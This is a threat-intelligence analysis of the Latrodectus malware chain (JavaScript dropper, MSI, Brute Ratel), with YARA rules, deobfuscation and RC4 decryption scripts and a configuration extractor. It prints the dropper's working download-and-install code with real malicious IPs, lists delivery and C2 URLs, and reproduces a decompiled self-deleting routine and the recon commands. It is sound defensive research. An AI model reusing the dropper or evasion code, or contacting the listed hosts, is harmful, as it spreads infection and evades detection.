RE

Latrodectus dropped by BR4 🕷️

Context#

Starting point of the analysis is this message on X from Zscaler published on <2024-06-24 Mon>.

Stage 0 (Form_Ver-X-X-X.js) pivot#

Starting from the hash of BruteRatel we found the previous stage JavaScript file. That is overwhelm of comments. A short JavaScript function is “hidden” in the comment, the function is used to download and execute an MSI file using ActiveXObject("WindowsInstaller.Installer").

js 12 lines
 1function installFromURL() {
 2    var msiPath;
 3    try {
 4        installer = new ActiveXObject("WindowsInstaller.Installer");
 5        installer.UILevel = 2;
 6        msiPath = "http:85.208.108.]63/BST.msi";
 7        installer.InstallProduct(msiPath);
 8    } catch (e) {
 9
10    }
11}
12installFromURL();
Code Snippet 1: Form_Ver-18-13-38.js cleaned

First pivot on the variable installer calling InstallProduct method:

You can use this YARA for instance:

yaml 12 lines
 1rule Latrodectus_JS_dropper {
 2  meta:
 3    purpose = "hunting"
 4    malware = "latrodectus"
 5    creation_date = "2024-06-25"
 6    description = "JS Dropper that DL and install a BR4 MSI"
 7    classification = "TLP:GREEN"
 8  strings:
 9    $s1 = "ActiveXObject"
10    $s2 = "//////        installer.InstallProduct(msiPath);"
11  condition: all of them
12}
Code Snippet 2: YARA hunting rule for the JS dropper

> content:“ActiveXObject” content:"// installer.InstallProduct(msiPath);"

From the above hunting we get 25 JavaScript files:
  • 04086187681a0737f44284e2f715e3d90a7284157916cf1ece61cccc6d975227
  • 073ed26f17f8efd735ad3f7737e88936f4bf2efd9722a37495874d6dd73ec12d
  • 0a12f2ccd4dc561b924c3c88a9571a36fdd01acd12d5a3eca88d2336989fcb89
  • 156c0afc01a5e346b95ebdb60cea9b7046ad7a61199cd63d6ad0f4ae32a576ac
  • 1e2a94cb10157e71a550fd514c3d3607da6e1d2e3dc59b8aec2b175f8492b182
  • 232ec24aa416bd642fdd2eb5d5eae2c72f2dd028b0f5058e193acb656e010f6d
  • 23303910ff8d01d4d6e1499a627dfa6006793faf36766e0f1e7b9fdf15fb0715
  • 2c63de7f491690900d95080d0741bb8282edfec74e58cdc25e7b9ba3a478e574
  • 3af71ac2d92510f3300be025a4bf07069fb668da5fbd664431fc1a2d898a7765
  • 51d30f6ac9da41e2124b765e74737fa43a6990657f8e57170cea8d59552ce806
  • 5b51c052283b08f981cbab43a7c5fcfe740941317adc6c9d9352291dacfda5f0
  • 71a429fdbaa04f8eee80c05b123ba00635569801ca041fdc7c6ac41de8aa72d3
  • 921f90caf2fab16a171d850e1191f416774b0385b430cd71b4a0d98c270cc940
  • b023037cc1f1dc53d60cd574dbbb09ce1013ef4e299f793e14ad35407d3d5cc7
  • babfbd312f46e7deed15f68b4e3d4c6a6492bdcc596aaa946986537d3765b53e
  • bb9203ca1305e47a2ec1443a640efcd5e2c7d11223184639729673579e12967e
  • da305ed28c974ac82afc57ae365e9955b3237cde4659fb1922de4e72ed42f2b7
  • dc4317e2514603f94394c762b7e92a8a693689657641e190efeb2ed24c690525
  • e4919fd30fc8ad21a3798684bd9b6104907fa214251ffe6c34dc9ae849c7d1b1
  • e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843
  • f7382cb88fb68a4fb40c29fd991bd3b1f1933a264a45b4d336289a7e3891f13c

Retrieve all delivery C2:

python 15 lines
 1import os
 2
 3urls = set()
 4
 5for _, _, filenames in os.walk(path):
 6    for filename in filenames:
 7        with open(os.path.join(path, filename), "r") as f:
 8            raw_script = f.read()
 9        script = []
10        for line in raw_script.split("\n"):
11              if line.startswith("////"):
12                  script.append(line.replace("////", ""))
13                  if "msiPath = " in line:
14                      urls.add(line.split(" = ")[-1].replace(";","").replace('"', ''))
15return "\n".join(urls)
Code Snippet 3: python script to retrieve delivery URLs
output 7 lines
http://45.95.11.217/ad.msi
http://85.208.108.12/WSC.msi
http://85.208.108.63/BST.msi
http://146.19.106.236/neo.msi
http://193.32.177.192/vpn.msi
http://185.219.220.149/bim.msi
http://85.208.108.12/aes256.msi
Table 1: URL triage
URLState
http://146.19.106.236/neo.msiDown
http://185.219.220.149/bim.msiDown
http://193.32.177.192/vpn.msiUP <2024-06-24 Mon>
http://45.95.11.217/ad.msiDOWN
http://85.208.108.12/WSC.msiDOWN
http://85.208.108.12/aes256.msiDOWN
http://85.208.108.63/BST.msiUP <2024-06-24 Mon>

Stage1: MSI#

Starting reverse from e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843 (vpn.msi downloaded from hxxp://193.32.]177.192/vpn.msi)

The MSI install itself in the AppData directory and use a custom action to starts the malicious DLL aclui.dll by calling the exported function edit.

MSI executing a DLL using rundll32
Figure 1: MSI executing a DLL using rundll32

N.B: rundll32.exe aclui.dll, edit, this is interesting to see a non standard DLL entrypoint edit

The DLL is stored in the MSI in the Files segment, which made its extraction convenient with MSIViewer.

Stage 2 BruteRatel: aclui.dll#

SHA-256: c5dc5fd676ab5b877bc86f88485c29d9f74933f8e98a33bddc29f0f3acc5a5b9. The DLL is executed using rundll32.exe on the export name edit.

Using unpac.me it detects a BruteRatel c4_a0 sample and returns an unpacked file that have this SHA-256 hash: 0d3fd08d237f2f22574edf6baf572fa3b15281170f4d14f98433ddeda9f1c5b2

This file is the first stage of BruteRatel which can again be unpack on unpac.me with the SHA-256 hash: 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427

From the last stage of BruteRatel 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427 there is some memory pattern that are related to Latrodectus (URL with /live/). However at the time of writing (<2024-06-25 Tue>) all of the BR4 C2s are down therefore full infection leading to Latrodectus cannot be executed. A comprehensive and interesting article on this Brute Ratel analysis, which complements the missing part of this article, has been written by @BlueEye46572843. It was published around the same time and is available on the ANY.RUN blog.

Stage 3: Latrodectus sample analysis#

Overview#

As from the last stage of BR4 we cannot retrieve the Latrodectus DLL, we start analysing a sample from the same campaign (JS->BR4->Latrodectus): SHA-256: d843d0016164e7ee6f56e65683985981fb14093ed79fde8e664b308a43ff4e79

The DLL have 4 exported functions that point to the same address:

Latrodectus exported functions
Figure 2: Latrodectus exported functions

Dynamic API resolution#

Most of the dynamically imported functions are hashed using the CRC32 algorithm, with only two functions hashed using a different algorithm.

The malware first dynamically resolves various DLLs: kernel32.dll, Wininet.dll and ntdll.dll. Each DLL is resolved in a dedicated function, and for each function in the DLL, a structure (api, see the definition below) is created and added to an array. An entry in the api_table array has the following structure:

c 5 lines
1struct api {
2  DWORD funcHash;
3  HMODULE* hModule;
4  LPVOID*  pFunc;
5};
Code Snippet 4: C structure of a api entry
NTDLL api resolution
Figure 3: NTDLL api resolution

The hash are stored in the “normal” representation (crc32), according to reveng.ai article the code come from BlackLotus open source project.

Here is a capture of the function used to obtain the DLL base (_LIST_ENTRY) of the DLL to load:

DLL dynamic loading function
Figure 4: DLL dynamic loading function

string obfusatation#

Latrodectus strings are obfuscated using a custom algorithm, each string is stored under a particular structure which has the following shape:

c 5 lines
1struct latrodectus_string {
2  DWORD size;
3  WORD seed;
4  CHAR[] buff;
5};
Code Snippet 5: Latrodectus string structure

output 7 lines
/--------------++--------------+----------------------\
|              |               |                      |
| cYEL Key     | cGRE Seed     | cBLU    Blob         |
|              |               |                      |
+--------------+---------------+----------------------+
:   4 bytes    :    2 bytes    : (key XOR seed) bytes |
\=-------------+=--------------+=---------------------/
Obfuscated string structure
Figure 5: Obfuscated string structure

The size of the obfsucated data is the result of a XOR operation between the key (4 bytes) and the seed (2 bytes). The malware deobfsucates the string with the function below:

Decompiled function used to deobfuscate Latrodectus string
Figure 6: Decompiled function used to deobfuscate Latrodectus string

Here is the Python script to deobfuscate strings:

python 20 lines
 1import struct
 2
 3def deobfuscate_string(buff: bytes) -> str:
 4    key, seed = struct.unpack("<ih", buff[:6])
 5    size = (key ^ seed) & 0xFF
 6    ciphertext = buff[6 : 6 + size]
 7    cleartext = bytearray(size)
 8
 9    for index in range(size):
10        key += 1
11        cleartext[index] = (key ^ ciphertext[index]) & 0xFF
12
13    return cleartext.decode("utf-16")
14
15
16buff = bytes.fromhex(
17    "2082130E3C826222562456265328462A462C722E5A3041325734543643385C3A3B3C0000"
18)
19
20print(deobfuscate_string(buff))
Code Snippet 6: Python function to deobfuscate Latrodectus strings
output 1 line
Custom_update
Here is the IDA script to debofsucate the strings:

Before running it, I needed to decompiled the all program File>Produce>C file

python 76 lines
 1import idautils
 2import struct
 3
 4
 5def deobufscate_string(buff: bytes) -> str:
 6    key, seed = struct.unpack("<ih", buff[:6])
 7    size = (key ^ seed) & 0xFF
 8    ciphertext = buff[6 : 6 + size]
 9    cleartext = bytearray(size)
10
11    for index in range(size):
12        key += 1
13        cleartext[index] = (key ^ ciphertext[index]) & 0xFF
14
15    return cleartext
16
17
18def get_string_length(address):
19    """
20    Get the length of the string at the given address.
21
22    :param address: The address of the string.
23    :return: The length of the string.
24    """
25    string = idc.get_strlit_contents(address)
26    if string:
27        return len(string)
28    return 0
29
30
31def get_data_length(address: int) -> int:
32    """
33    Get the length of the data at the given address by analyzing the type.
34
35    :param address: The address of the data.
36    :return: The length of the data.
37    """
38    flags = idc.get_full_flags(address)
39    if idc.is_strlit(flags):
40        # It's a string
41        return get_string_length(address)
42    elif idc.is_data(flags):
43        # It's some kind of data (e.g., array or structure)
44        size = idc.get_item_size(address)
45        return size
46    return 0
47
48
49deobfuscution_func_addr = 0x18000AE78 # CHANGE-ME
50for ref in idautils.XrefsTo(deobfuscution_func_addr):
51    for ea in idautils.Heads(ref.frm - 10, ref.frm):
52        insn = idaapi.insn_t()
53        length = idaapi.decode_insn(insn, ea)
54        mnemonic = print_insn_mnem(ea)
55        if mnemonic == "lea":
56            operand_1 = print_operand(ea, 0)
57            operand_2 = print_operand(ea, 1)
58            addr = get_operand_value(ea, 1)
59            size = get_data_length(addr)
60            data = idc.get_bytes(addr, size)
61            cleartext = ""
62            try:
63                cleartext = deobufscate_string(data)
64                if cleartext.endswith(b"\x00" * 2): # wide detection...
65                    cleartext = cleartext.decode("utf-16")
66                else:
67                    cleartext = cleartext.decode()
68                print(f"set comment at 0x{ea:x} : `{cleartext}`")
69                idc.set_cmt(ea, cleartext, 1)
70            except Exception as er:
71                print(er)
72                if cleartext:
73                    # idc.set_cmt(ref.frm, cleartext, 0)
74                    print(f"need manual comment 0x{addr:x} {cleartext}")
75                else:
76                    print(f"error for : 0x{addr:x}")
Code Snippet 7: IDA Script for string deobfuscation

Additionally, the malware performs a series of environment detection checks, such as counting the running processes. Based on the OS version, it determines a threshold range within which the number of running processes is considered acceptable. It also verify if the flag IsDebugged in the Process Environment Block is set in cased a debugger would be attach to the process.

It also verifies that the MAC addresses of the various interfaces have a valid size.

Next, it computes a bot identifier from the volume serial number and then performs a series of multiplications with a hardcoded constant 0x19660D. (which has the same value of the RNG multiply of LCRNG algorithm, because why not…).

botid string formating
Figure 7: botid string formating

A campaign or group identifier is also embedded in the obfuscated strings, this value (deobfuscated) is hashed with FNV-1 algorithm. The current sample respond to the group ID Littlehw

Persistence#

To persiste on the infected host, Latrodectus uses a scheduled task using COM base object.

> msdn logon trigger c++ example

The task is triggered on Logon event.

Function that create the scheduled task using COM object
Figure 8: Function that create the scheduled task using COM object

Here is a way to build the CLSID from the hex data structure exported from the sample

python 21 lines
 1import struct
 2
 3def bytes_to_clsid(byte_data):
 4    if len(byte_data) != 16:
 5        raise ValueError("A CLSID must be 16 bytes long")
 6
 7    # Unpack bytes according to CLSID structure
 8    part1, part2, part3, part4_and_part5 = struct.unpack('<IHH8s', byte_data[:16])
 9
10    # Split part4_and_part5 into two parts
11    part4 = part4_and_part5[:2]
12    part5 = part4_and_part5[2:8]
13    part6 = byte_data[8:16]
14
15    # Format the CLSID
16    clsid = f'{{{part1:08X}-{part2:04X}-{part3:04X}-{part4.hex().upper()}-{part5.hex().upper()}{part6.hex().upper()}}}'
17    print(clsid)
18
19# Example usage
20byte_data = bytes.fromhex("C7A4AB2FA94D1340969720CC3FD40F85")
21bytes_to_clsid(byte_data)
Code Snippet 8: Python function to format from hex representation the CLSID
output 1 line
{2FABA4C7-4DA9-4013-9697-20CC3FD40F85969720CC3FD40F85}

This CLSID correspond to the TaskScheduler, I made a script that gather various CLISD retrieved from wine project. More information on how to extract this CLSID in this note and the full script is available here.

Defense evasion#

To hid itself, Latrodectus uses Alternate Data Stream as explain in reveng.ai blogpostThe code was borrowed from byt3bl33d3r/OffensiveNim github repository.

reveng.ai citation

Latrodectus makes use of a trick to delete itself while the process is still running, making use of an alternative data stream (ADS) and a specific chain of API calls. This technique is used by other malware such as RaspberryRobin, HelloXD Ransomware, DarkPower Ransomware.

The C code used for the self delete is the following one:

cpp 60 lines
 1__int64 self_delete_withADS()
 2{
 3  char v1[8]; // [rsp+40h] [rbp-D8h] BYREF
 4  HANDLE FileW; // [rsp+48h] [rbp-D0h]
 5  int *buff; // [rsp+50h] [rbp-C8h]
 6  unsigned __int64 v4; // [rsp+58h] [rbp-C0h]
 7  unsigned __int64 buff_size; // [rsp+60h] [rbp-B8h]
 8  int *v6; // [rsp+68h] [rbp-B0h]
 9  __int16 *v7; // [rsp+70h] [rbp-A8h]
10  WCHAR *__attribute__((__org_arrdim(0,0))) v8; // [rsp+78h] [rbp-A0h]
11  __int16 a2[76]; // [rsp+80h] [rbp-98h] BYREF
12
13  if ( !self_filepath )
14    return 0xFFFFFFFFi64;
15  FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
16  if ( FileW == INVALID_HANDLE_VALUE )
17    return 0xFFFFFFFFi64;
18  deobfuscate_string(&byte_18000FA18, a2);      // :wtfbbq\x00
19  v7 = a2;
20  v8 = a2;
21  v4 = 2i64 * whar::get_length(a2);
22  buff_size = v4 + 24;
23  buff = allocate_memory_rwx(v4 + 24);
24  if ( !buff )
25    return 0xFFFFFFFFi64;
26  zero_mem_0(buff, buff_size);
27  v6 = buff;
28  buff[4] = v4;
29  qmemcpy(v6 + 5, v8, v4);
30  if ( SetFileInformationByHandle(FileW, FileRenameInfo, v6, buff_size) )
31  {
32    nt_free_mem(buff);
33    CloseHandle(FileW);
34    FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
35    if ( FileW == INVALID_HANDLE_VALUE )
36    {
37      return 0xFFFFFFFFi64;
38    }
39    else
40    {
41      v1[0] = 0;
42      zero_mem_0(v1, 1ui64);
43      v1[0] = 1;
44      if ( SetFileInformationByHandle(FileW, FileDispositionInfo, v1, 1u) )
45      {
46        CloseHandle(FileW);
47        return 0i64;
48      }
49      else
50      {
51        return 0xFFFFFFFFi64;
52      }
53    }
54  }
55  else
56  {
57    nt_free_mem(buff);
58    return 0xFFFFFFFFi64;
59  }
60}
Code Snippet 9: Self delete using Alternate Data Stream

Command and Control Communication#

The malware uses this user-agent which is unique to this version (or campaign) of Latrodectus. > behavior_network:“Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)”

The malware communicate over HTTPS where the POST data are base64 encoded and its content is RC4 encrypted. The RC4 key is stored obfuscated using the same obfuscation as other strings. In this sample the key is 12345…

The bot understands 4 orders: URLS, CLEARURL, COMMAND and ERROR. The list of command is provided in the . The URLS updated the list of C2 URLs and CLEARURL cleaned the C2 URLs table.

Command IDDescription
2Get desktop files
3List running processes
4fingerprint host & domain
12Download and execute EXE in AppData
13Download and execute DLL in AppData
14Download and execute Shellcode
15Download and update EXE (auto-update)
17Exit process
18Run DLL in AppData (init -zzzz files/bp.dat)
19Increase beacon interval
20Reset counter (number of sended http request)

Other analysis made on this threat highlight a command ID 21 related to a stealer module, no reference to this ID have been found in this sample. My primary hypothesis is that stealer capability is optional ¯\_(ツ)_/¯.

The bot beacon with its C2 with POST request where the body contains the following fields:

  • counter: number of http request send;
  • type: and id (1 to 5) defining which beacon it is (sysinfo, process list, desktop files);
  • guid: bot identifier;
  • os: major version;
  • arch: fixed to 1 for x64 architecture (otherwise the bot exit if it is another architecture);
  • username: username of the running process owner;
  • group: FNV-1 hash of the group (Littlehw);
  • ver: bot version;
  • up: a constante;
  • direction: C2 related information;

counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s.

To facilitate the decryption of the communication, here is a script to help:

python 23 lines
 1import base64
 2
 3def rc4(data: str, key: str) -> str:
 4    """code from OALabs """
 5    x = 0
 6    box = list(range(256))
 7    for i in range(256):
 8        x = (x + box[i] + key[i % len(key)]) % 256
 9        box[i], box[x] = box[x], box[i]
10    x = 0
11    y = 0
12    out = []
13    for c in data:
14        x = (x + 1) % 256
15        y = (y + box[x]) % 256
16        box[x], box[y] = box[y], box[x]
17        out.append(c ^ box[(box[x] + box[y]) % 256])
18    return bytes(out)
19
20
21buff = b"E3l9I35LXiOWKYHilDWuJoUOTU3NOyjNGnp3muFUOrabzvFw6FpoOQqdBZmsUV5E7FzXWHKgBafR6PcPckBsIB2vIhb3CZ/QHPoEO1hc0A++PpLQjpRWJkK3EFDxH/R5RYjhInO8hc0jTljC91GMVstjkxgQnuZLGBW6AV/gz4VrNMWUxFUtP4fdg/HKCREbRm+gIHkH/7Jc9Q=="
22key = b"12345"
23print(rc4(base64.b64decode(buff), key).decode())
Code Snippet 10: Packet decryption routine
output 5 lines
CLEARURL
URLS|0|https://popfealt.one/live/
URLS|1|https://ginzbargatey.tech/live/
URLS|2|https://minndarespo.icu/live/
COMMAND|4|front://sysinfo.bin

NB: the command: 4, where it contains front:// the bot replace the front:// by the value of the actual C2 URL.

Host & Domain recon#

One of the capacity of the bot is to execute in a dedicated thread a serie of commands to fingerprint the network topology of the infected host and on the connected domain:

  • ipconfig /all
  • systeminfo
  • nltest /domain_trusts
  • net view /all /domain
  • nltest /domain_trusts /all_trusts
  • net view /all
  • net group "Domain Admins" /domain
  • /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
  • net config workstation
  • wmic.exe /node:localhost /names
  • whoami /groups

NB: This method is executed when the bot received the COMMAND order with the ID 0x4, c.f: .

YARA#

yaml 14 lines
 1import "pe"
 2
 3rule latrodectus_exports : TESTING {
 4    meta:
 5        version = "1.0"
 6        malware = "Latrodectus"
 7        author = "Sekoia.io"
 8        description = "detection based on the DLL exports, this is specific to the BR4 campaign"
 9        creation_date = "2024-07-03"
10        classification = "TLP:GREEN"
11
12    condition:
13        (pe.exports("stow") or pe.exports("homq") or pe.exports("scub")) and pe.number_of_exports >= 3 and uint16(0) == 0x5a4d
14}

Artefacts hunting#

Host artefacts:

  • %appdata%\Custom_update directory with the files:
    • update_data.dat (obfsucated C2 URLs);
    • Update_<8 random characters>.dll.
  • Mutex runnung;
  • Scheduled task named Updater.

Network artefacts:

  • HTTP User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1);
  • HTTP POST request on /live/ endpoints.

Latrodectus Update#

Previous version samples:

Strings obfuscation#

In the previous version of the malware, the string deobfuscation function used a more sophisticated aglorithm PRNG2 with have been removed in the current one…

The encoded strings always starts with 0xf5 byte due to the PRNG2 implementation:

Example of obfsucated string in previous version
Figure 9: Example of obfsucated string in previous version
c 19 lines
 1BYTE *__fastcall decode_string(WORD *obfuscated_data, BYTE *buff_dest)
 2{
 3  BYTE v3; // [rsp+20h] [rbp-18h]
 4  unsigned __int16 i; // [rsp+24h] [rbp-14h]
 5  unsigned __int16 length; // [rsp+28h] [rbp-10h]
 6  int seed; // [rsp+2Ch] [rbp-Ch]
 7  BYTE *ptr_buff_obfuscated; // [rsp+40h] [rbp+8h]
 8
 9  seed = *(_DWORD *)obfuscated_data;
10  length = obfuscated_data[2] ^ *obfuscated_data;
11  ptr_buff_obfuscated = (BYTE *)(obfuscated_data + 3);
12  for ( i = 0; i < (int)length; ++i )
13  {
14    v3 = ptr_buff_obfuscated[i];
15    seed = prng2(seed);
16    buff_dest[i] = seed ^ v3;
17  }
18  return buff_dest;
19}
Code Snippet 11: Previous version of the deobfuscation function

And the PRGN2 decompiled function was:

c 9 lines
1__int64 __fastcall prng2(int seed)
2{
3  unsigned __int64 v1; // kr00_8
4  unsigned int v3; // [rsp+8h] [rbp+8h]
5
6  v1 = (unsigned __int64)(((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) << 31) | ((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) >> 1)) << 30;
7  v3 = ((((unsigned int)v1 | HIDWORD(v1)) ^ 0x151D) >> 0x1E) | (4 * ((v1 | HIDWORD(v1)) ^ 0x151D));
8  return (v3 >> 31) | (2 * v3);
9}
Code Snippet 12: PRGN2 function oldest Latrodectus version

The medium article from walmartglobaltech IcedID gets Loaded provided a Python implementation of the PRGN2 algorithm:

python 43 lines
 1import struct
 2import binascii
 3
 4def mask(a):
 5    return a & 0xFFFFFFFF
 6
 7
 8def prng2(seed):
 9    temp = mask((seed + 0x2E59))
10    temp2 = temp >> 1
11    temp = mask(temp << 0x1F)
12    temp |= temp2
13    temp2 = temp >> 1
14    temp = mask(temp << 0x1F)
15    temp |= temp2
16    temp2 = temp >> 2
17    temp = mask(temp << 0x1E)
18    temp |= temp2
19    temp ^= 0x6387
20    temp ^= 0x769A
21    temp2 = mask(temp << 2)
22    temp >>= 0x1E
23    temp |= temp2
24    temp2 = mask(temp << 1)
25    temp >>= 0x1F
26    temp |= temp2
27    return temp
28
29
30def decode(s):
31    (seed, l) = struct.unpack_from("<IH", s)
32    l = (l ^ seed) & 0xFFFF
33    if l > len(s):
34        return b""
35    temp = bytearray(s[6 : 6 + l])
36    for i in range(l):
37        seed = prng2(seed)
38        temp[i] = (temp[i] ^ seed) & 0xFF
39    return temp
40
41
42string = binascii.unhexlify("F5788452F8781A6EEE4623114A578F9A44B3E10000")
43print(decode(string).decode())
Code Snippet 13: Python implementation of Latrodectus PRGN2
output 2 lines
URLS|%d|%s

The strings obfuscation have been used by Latrodectus in its early version, however the developper removed the PRNG2 part and replace it with a seed incrementation…

TTPs#

According to 0x0d4 article the infection chain got some update, however the campaign pattern remain the same:

  1. Stage 0: A JavaScript Downloader is used to download a MSI from a first infrastructure;
  2. Stage 0: The JavaScript execute the MSI;
  3. Stage 1: The MSI uses a custom action to run rundll32.exe to execute the Latrodectus DLL;
  4. Stage 2: Latrodectus communicates with its own infrastructure;
Previous campaign infection chain
Figure 10: Previous campaign infection chain

The last campaign introduce Brute Ratel usage between the MSI and Latrodectus DLL.y

Recent campaign infection chain introducing Brute Ratel
Figure 11: Recent campaign infection chain introducing Brute Ratel

In the May-June update, Latrodectus operators introduced a new stage between stages 1 and 2. The threat actors use an MSI to execute BruteRatel, which then drops Latrodectus. The primary hypothesis for the presence of BruteRatel is to detect and evade defenses before dropping the Latrodectus payload. According to the analysis of the Latrodectus malware, there is no advanced or effective sandbox, virtual, or analysis environment detection implemented, hence the use of BruteRatel.

Configuration extractor#

The targeted configuration in the sample includes:

  • C2 URLs
  • RC4 key
  • Group (probably the affiliate name or campaign name)

All the “configuration” is obfuscated using the same technique as other strings in the malware. The structure of the obfuscated string consists of a key (first 4 bytes) and a seed (next 2 bytes), which are the same for all obfuscated strings.

To identify what will be called a LATRODECTUS_OBFUSCATED_EGG in the extractor, we follow these steps:

  1. Extract the data from the .data section;
  2. Split the data as if it were a normal string using data.split(b"\x00");
  3. Create a list containing the first 4 bytes of each split string;
  4. Use a Python Counter from the collections standard module to identify the starting buffer with the most occurrences;
  5. Use the identified EGG to split data (obfsucated string);
  6. Extract data from the mathes of the EGG that contains the key and the seed, combining both with a XOR operation give the string size size = (key ^ seed) & 0xff;
  7. Get the obfsucated data from the above match offset and the size;
  8. Debfuscated each string;
  9. Match URL using the http first character;
  10. Base on all analyzed sample, the group is always place after the ERROR string (the C2 command) and the RC4 key is always after the /files/ string (used to replace some C2 response body).
python 117 lines
  1import re
  2import struct
  3import pefile
  4import logging
  5
  6from collections import Counter
  7from typing import Optional, List, Dict
  8
  9logging.basicConfig()
 10logging.getLogger().setLevel(logging.DEBUG)
 11
 12
 13def parse_pe(pe_path: str) -> bytes:
 14    """Extract data from the .data section of the PE,
 15    returns a byte array otherwise raise ValueError"""
 16
 17    pe: pefile.PE = pefile.PE(pe_path)
 18    data_section: Optional[pefile.SectionStructure] = None
 19
 20    for section in pe.sections:
 21        if section.Name.startswith(b".data"):
 22            data_section = section
 23
 24    if not data_section:
 25        raise ValueError("no .data section found")
 26
 27    return data_section.get_data()
 28
 29
 30def identify_latrodectus_egg_obfuscated_string(data: bytes) -> re.Pattern:
 31    """Identify the pattern at the beggining of the obfuscated strings"""
 32
 33    # need to identifier the EGG_OBFUSCATED_STRING...
 34    patterns = []
 35    for str_data in filter(lambda x: x, data.split(b"\x00")):
 36        patterns.append(str_data[:4])
 37
 38    EGG_PATTERN = Counter(patterns).most_common(1)[0][0]  # get the most common pattern
 39
 40    if not EGG_PATTERN:
 41        raise ValueError("no begging string pattern found")
 42
 43    # note the best way to build the RE pattern...
 44    LATRODECTUS_EGG_STRING = re.compile(EGG_PATTERN + b"(..)")
 45    logging.debug(f"Found an STRING EGG pattern: 0x{EGG_PATTERN.hex()}")
 46
 47    return LATRODECTUS_EGG_STRING
 48
 49
 50def deobfuscate_all_strings(
 51    data: bytes, LATRODECTUS_EGG_STRING: re.Pattern
 52) -> List[str]:
 53    """
 54    Split data by the LATRODECTUS_EGG_STRING,
 55    then deobfuscated each one of them and return their
 56    string value regarding their encoding: utf-8 or utf-16
 57    """
 58
 59    strings: List[str] = []
 60
 61    for match in LATRODECTUS_EGG_STRING.finditer(data):
 62        start_position = match.start() + 6
 63        key, seed = struct.unpack("<ih", match.group())
 64        size = (key ^ seed) & 0xFF
 65
 66        ciphertext = data[start_position : start_position + size]
 67        cleartext = bytearray(size)
 68
 69        for index in range(size):
 70            key += 1
 71            cleartext[index] = (key ^ ciphertext[index]) & 0xFF
 72
 73        if cleartext.endswith(b"\x00" * 2):  # wide string
 74            strings.append(cleartext.decode("utf-16"))
 75        else:
 76            strings.append(cleartext.decode())
 77
 78    return strings
 79
 80
 81def extract_configuration_from_cleartexts(strings: List[str]) -> Dict:
 82    configuration = {"C2": [], "rc4_key": "", "group": ""}
 83
 84    for index, value in enumerate(strings):
 85        if value == "ERROR\x00":
 86            configuration["rc4_key"] = strings[index + 1].replace("\x00", "")
 87            logging.debug(f"rc4 key is: {configuration['rc4_key']}")
 88        if value == "/files/\x00":
 89            configuration["group"] = strings[index + 1].replace("\x00", "")
 90            logging.debug(f"latrodectus group: {configuration['group']}")
 91        if value.startswith("http"):
 92            configuration["C2"].append(value.replace("\x00", ""))
 93            logging.debug(f"update C2: {configuration['C2']}")
 94
 95    logging.info(configuration)
 96    return configuration
 97
 98
 99def main(path: str) -> Dict:
100    """take a PE path and return
101    the Latrodectus configuration"""
102
103    data = parse_pe(path)
104    EGG_STRING = identify_latrodectus_egg_obfuscated_string(data)
105    strings = deobfuscate_all_strings(data, EGG_STRING)
106    configuration = extract_configuration_from_cleartexts(strings)
107    return configuration
108
109
110if __name__ == "__main__":
111    import sys
112
113    path = sys.argv[1]
114    try:
115        print(main(path))
116    except Exception as err:
117        logging.error(f"failed to extract configuration from {path}, error: {err}")
Code Snippet 14: Latrodectus configuration extractor

External references#

Conclusion#

Even after the large LEA operation at the beginning of 2024 (Operation Endgame), Latrodectus remains a major threat in the cybercrime landscape. The various updates it has received are a reliable indicator that the threat actors behind this malware are continuously improving the malware and its techniques.

I hope you enjoy the read :pray:. All feedback is welcome.